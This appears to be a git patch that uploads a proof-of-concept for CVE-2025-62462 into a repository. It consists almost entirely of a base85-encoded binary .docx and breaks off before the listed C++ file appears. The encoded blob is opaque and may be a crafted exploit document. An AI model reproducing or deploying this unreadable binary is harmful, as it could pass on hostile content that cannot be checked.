From 84d08f7929d1f47e44577d042724325c9ca68ec4 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:54:27 +0000 Subject: [PATCH] Upload files to "CVE-2025-62462" --- CVE-2025-62462/PrjLeak22.docx | Bin 0 -> 61598 bytes CVE-2025-62462/PrjLeank22.cpp | 561 ++++++++++++++++++++++++++++++++++ 2 files changed, 561 insertions(+) create mode 100644 CVE-2025-62462/PrjLeak22.docx create mode 100644 CVE-2025-62462/PrjLeank22.cpp diff --git a/CVE-2025-62462/PrjLeak22.docx b/CVE-2025-62462/PrjLeak22.docx new file mode 100644 index 0000000000000000000000000000000000000000..ac695482a55fd97154b11653b9955b6f80e88f1d GIT binary patch literal 61598 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

+~L_9H_v$ipBIY{Xb7z$Aq76x(i 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 